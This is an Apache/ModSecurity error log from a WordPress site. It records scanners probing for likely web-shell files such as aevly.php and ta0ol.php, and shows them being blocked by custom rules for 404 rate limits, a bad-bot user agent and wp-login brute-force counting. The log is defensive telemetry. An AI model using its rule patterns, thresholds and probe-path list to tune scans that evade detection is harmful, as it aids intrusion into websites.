[Sun Apr 26 01:38:51.868178 2026] [:error] [pid 3212:tid 3234] [client 20.199.101.230:34960] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aez8K_g-28TY8_YLtUfAvgAAARQ"]
[Sun Apr 26 01:38:52.702498 2026] [:error] [pid 59985:tid 59998] [client 20.199.101.230:40011] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aez8LAF_zDvEhKvyTH4AywAAAAs"]
[Sun Apr 26 01:38:53.466940 2026] [:error] [pid 59897:tid 59931] [client 20.199.101.230:59870] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aez8LfBrrkdzpEbmK4fCbAAAAIQ"]
[Sun Apr 26 01:38:54.046985 2026] [:error] [pid 3212:tid 3217] [client 20.199.101.230:48952] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aez8Lvg-28TY8_YLtUfAxQAAAQM"]
[Sun Apr 26 01:38:54.957428 2026] [:error] [pid 59985:tid 59999] [client 20.199.101.230:43751] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aez8LgF_zDvEhKvyTH4AzgAAAAw"]
[Sun Apr 26 01:44:33.592840 2026] [proxy_fcgi:error] [pid 59896:tid 59913] [client 74.249.155.150:13523] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:44:34.007427 2026] [:error] [pid 59896:tid 59920] [client 74.249.155.150:13523] [client 74.249.155.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.249.155.150, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aez9grLLzhtkd-OXUgBapAAAAFQ"]
[Sun Apr 26 01:44:34.202504 2026] [proxy_fcgi:error] [pid 59896:tid 59912] [client 74.249.155.150:13523] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:44:34.972367 2026] [proxy_fcgi:error] [pid 59896:tid 59924] [client 74.249.155.150:13523] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:44:35.596883 2026] [proxy_fcgi:error] [pid 59896:tid 59917] [client 74.249.155.150:13523] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:44:35.783066 2026] [:error] [pid 59896:tid 59913] [client 74.249.155.150:13523] [client 74.249.155.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aez9g7LLzhtkd-OXUgBasQAAAE0"]
[Sun Apr 26 01:44:37.014815 2026] [:error] [pid 59985:tid 60005] [client 74.249.155.150:3886] [client 74.249.155.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aez9hQF_zDvEhKvyTH4CyQAAABI"]
[Sun Apr 26 01:44:38.127898 2026] [:error] [pid 59898:tid 59959] [client 74.249.155.150:3786] [client 74.249.155.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aez9hh-4vImxb0kbdzfgwQAAAMU"]
[Sun Apr 26 01:44:39.240622 2026] [:error] [pid 59898:tid 59977] [client 74.249.155.150:4008] [client 74.249.155.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aez9hx-4vImxb0kbdzfgyAAAANc"]
[Sun Apr 26 02:37:25.291632 2026] [proxy_fcgi:error] [pid 59985:tid 59992] [client 40.69.66.178:2049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 02:37:25.550717 2026] [proxy_fcgi:error] [pid 59985:tid 60001] [client 40.69.66.178:2049] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 06:22:50.594570 2026] [:error] [pid 8385:tid 8445] [client 212.47.78.126:59906] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ae0-ujOy7_J84Wx3-oxmiQAAAFU"]
[Sun Apr 26 06:22:51.175600 2026] [:error] [pid 8491:tid 8508] [client 212.47.78.126:60243] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ae0-uyq7I7e6CJooQM2Z-AAAAMk"]
[Sun Apr 26 06:22:51.755990 2026] [:error] [pid 8491:tid 8515] [client 212.47.78.126:56762] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "ae0-uyq7I7e6CJooQM2Z-wAAANA"]
[Sun Apr 26 11:46:52.644119 2026] [:error] [pid 22573:tid 22622] [client 134.209.158.250:36070] [client 134.209.158.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.158.250, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ae2KrHB3EmQlD4yKUt9-bQAAAY8"], referer: https://www.bing.com/
[Sun Apr 26 11:46:52.659154 2026] [proxy_fcgi:error] [pid 22573:tid 22622] [client 134.209.158.250:36070] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Apr 26 11:46:52.989598 2026] [:error] [pid 8491:tid 8501] [client 134.209.158.250:50302] [client 134.209.158.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.158.250, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ae2KrCq7I7e6CJooQM3NZQAAAMI"]
[Sun Apr 26 11:46:52.993690 2026] [proxy_fcgi:error] [pid 8491:tid 8501] [client 134.209.158.250:50302] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 13:15:47.405134 2026] [:error] [pid 22572:tid 22599] [client 212.47.78.126:61514] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ae2fg9XOViWCFU-pZzDT9AAAAVU"]
[Sun Apr 26 13:15:47.953658 2026] [:error] [pid 22572:tid 22600] [client 212.47.78.126:58980] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ae2fg9XOViWCFU-pZzDT9gAAAVY"]
[Sun Apr 26 13:15:48.535426 2026] [:error] [pid 13137:tid 13165] [client 212.47.78.126:63094] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "ae2fhN0RB4J0o4h5neExYQAAAhg"]
[Sun Apr 26 13:50:56.648324 2026] [:error] [pid 8390:tid 8464] [client 212.47.78.126:56152] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ae2nwIGPtFK_i9p5yxTZZQAAAI0"]
[Sun Apr 26 13:50:57.196182 2026] [:error] [pid 8390:tid 8470] [client 212.47.78.126:56305] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ae2nwYGPtFK_i9p5yxTZaQAAAJM"]
[Sun Apr 26 13:50:57.777718 2026] [:error] [pid 22573:tid 22627] [client 212.47.78.126:51361] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "ae2nwXB3EmQlD4yKUt-fogAAAZQ"]
[Sun Apr 26 15:20:19.598318 2026] [proxy_fcgi:error] [pid 8491:tid 8501] [client 20.215.250.178:25830] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:20:19.598751 2026] [proxy_fcgi:error] [pid 8491:tid 8506] [client 20.215.250.178:25795] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:20:19.857132 2026] [proxy_fcgi:error] [pid 8491:tid 8521] [client 20.215.250.178:25795] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:20:19.890089 2026] [proxy_fcgi:error] [pid 8491:tid 8518] [client 20.215.250.178:25830] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:20:20.117712 2026] [proxy_fcgi:error] [pid 8491:tid 8511] [client 20.215.250.178:25795] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:20:20.182713 2026] [proxy_fcgi:error] [pid 8491:tid 8510] [client 20.215.250.178:25830] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:20:20.422469 2026] [proxy_fcgi:error] [pid 8491:tid 8519] [client 20.215.250.178:25795] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:20:20.678343 2026] [proxy_fcgi:error] [pid 8491:tid 8499] [client 20.215.250.178:25830] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:20:20.678582 2026] [proxy_fcgi:error] [pid 8491:tid 8514] [client 20.215.250.178:25795] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:20:20.933766 2026] [:error] [pid 8491:tid 8512] [client 20.215.250.178:25795] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ae28tCq7I7e6CJooQM3jAgAAAM0"]
[Sun Apr 26 15:20:20.980610 2026] [:error] [pid 8491:tid 8523] [client 20.215.250.178:25830] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "ae28tCq7I7e6CJooQM3jAwAAANc"]
[Sun Apr 26 15:20:22.497571 2026] [:error] [pid 8390:tid 8464] [client 20.215.250.178:25877] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "ae28toGPtFK_i9p5yxT7xAAAAI0"]
[Sun Apr 26 15:20:22.927659 2026] [:error] [pid 16515:tid 16534] [client 20.215.250.178:25919] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ae28tltDrUmgHSvpuLwZKAAAAlA"]
[Sun Apr 26 15:20:24.124537 2026] [:error] [pid 22573:tid 22612] [client 20.215.250.178:25492] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "ae28uHB3EmQlD4yKUt-3nwAAAYY"]
[Sun Apr 26 15:20:25.619949 2026] [:error] [pid 8390:tid 8462] [client 20.215.250.178:25842] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ae28uYGPtFK_i9p5yxT7xQAAAIs"]
[Sun Apr 26 15:20:25.658469 2026] [:error] [pid 8491:tid 8500] [client 20.215.250.178:25505] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "ae28uSq7I7e6CJooQM3jBAAAAME"]
[Sun Apr 26 15:20:27.891258 2026] [:error] [pid 8390:tid 8473] [client 20.215.250.178:25421] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ae28u4GPtFK_i9p5yxT7zAAAAJY"]
[Sun Apr 26 15:20:28.446275 2026] [:error] [pid 8390:tid 8461] [client 20.215.250.178:25509] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ae28vIGPtFK_i9p5yxT7zQAAAIo"]
[Sun Apr 26 15:20:29.835421 2026] [:error] [pid 8390:tid 8472] [client 20.215.250.178:25912] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ae28vYGPtFK_i9p5yxT7zgAAAJU"]
[Sun Apr 26 15:20:30.152115 2026] [:error] [pid 13137:tid 13161] [client 20.215.250.178:26404] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ae28vt0RB4J0o4h5neFGdQAAAhQ"]
[Sun Apr 26 15:20:30.933054 2026] [:error] [pid 8491:tid 8507] [client 20.215.250.178:25820] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ae28viq7I7e6CJooQM3jBQAAAMg"]
[Sun Apr 26 15:20:31.075291 2026] [:error] [pid 8390:tid 8475] [client 20.215.250.178:26368] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ae28v4GPtFK_i9p5yxT70AAAAJg"]
[Sun Apr 26 15:20:31.776018 2026] [:error] [pid 22573:tid 22620] [client 20.215.250.178:25100] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aevly.php"] [unique_id "ae28v3B3EmQlD4yKUt-3ogAAAY0"]
[Sun Apr 26 15:20:32.332981 2026] [:error] [pid 8390:tid 8454] [client 20.215.250.178:25803] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ae28wIGPtFK_i9p5yxT70QAAAIM"]
[Sun Apr 26 15:20:32.574727 2026] [:error] [pid 8383:tid 8397] [client 20.215.250.178:25894] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ae28wNFa2S3EsATMdWP1iAAAAAA"]
[Sun Apr 26 15:20:32.930054 2026] [:error] [pid 22573:tid 22607] [client 20.215.250.178:26352] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ae28wHB3EmQlD4yKUt-3qAAAAYE"]
[Sun Apr 26 15:20:33.258710 2026] [:error] [pid 8385:tid 8444] [client 20.215.250.178:25144] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ae28wTOy7_J84Wx3-oyyCgAAAFQ"]
[Sun Apr 26 15:20:33.574317 2026] [:error] [pid 8390:tid 8471] [client 20.215.250.178:25799] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ae28wYGPtFK_i9p5yxT70wAAAJQ"]
[Sun Apr 26 15:20:33.945635 2026] [:error] [pid 22572:tid 22583] [client 20.215.250.178:25872] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ae28wdXOViWCFU-pZzDuAAAAAUU"]
[Sun Apr 26 15:20:34.152247 2026] [:error] [pid 22572:tid 22591] [client 20.215.250.178:25824] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ae28wtXOViWCFU-pZzDuAQAAAU0"]
[Sun Apr 26 15:20:34.808542 2026] [:error] [pid 8491:tid 8503] [client 20.215.250.178:25881] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ae28wiq7I7e6CJooQM3jBwAAAMQ"]
[Sun Apr 26 15:20:34.932935 2026] [:error] [pid 16574:tid 16608] [client 20.215.250.178:26411] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ae28wn5MsX8wRQr99nYfogAAA0Q"]
[Sun Apr 26 15:20:35.534026 2026] [:error] [pid 16574:tid 16619] [client 20.215.250.178:26320] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ae28w35MsX8wRQr99nYfowAAA0w"]
[Sun Apr 26 15:20:35.728897 2026] [:error] [pid 22573:tid 22619] [client 20.215.250.178:26398] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ae28w3B3EmQlD4yKUt-3rQAAAYw"]
[Sun Apr 26 15:20:36.441409 2026] [:error] [pid 8385:tid 8446] [client 20.215.250.178:26390] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ae28xDOy7_J84Wx3-oyyDAAAAFY"]
[Sun Apr 26 15:20:37.252683 2026] [:error] [pid 22573:tid 22628] [client 20.215.250.178:26397] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ae28xXB3EmQlD4yKUt-3rwAAAZU"]
[Sun Apr 26 15:20:37.268881 2026] [:error] [pid 8390:tid 8464] [client 20.215.250.178:25900] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "ae28xYGPtFK_i9p5yxT73AAAAI0"]
[Sun Apr 26 15:20:37.944531 2026] [:error] [pid 8390:tid 8463] [client 20.215.250.178:25129] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ae28xYGPtFK_i9p5yxT73wAAAIw"]
[Sun Apr 26 15:20:38.151720 2026] [:error] [pid 22573:tid 22616] [client 20.215.250.178:26357] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "ae28xnB3EmQlD4yKUt-3sAAAAYk"]
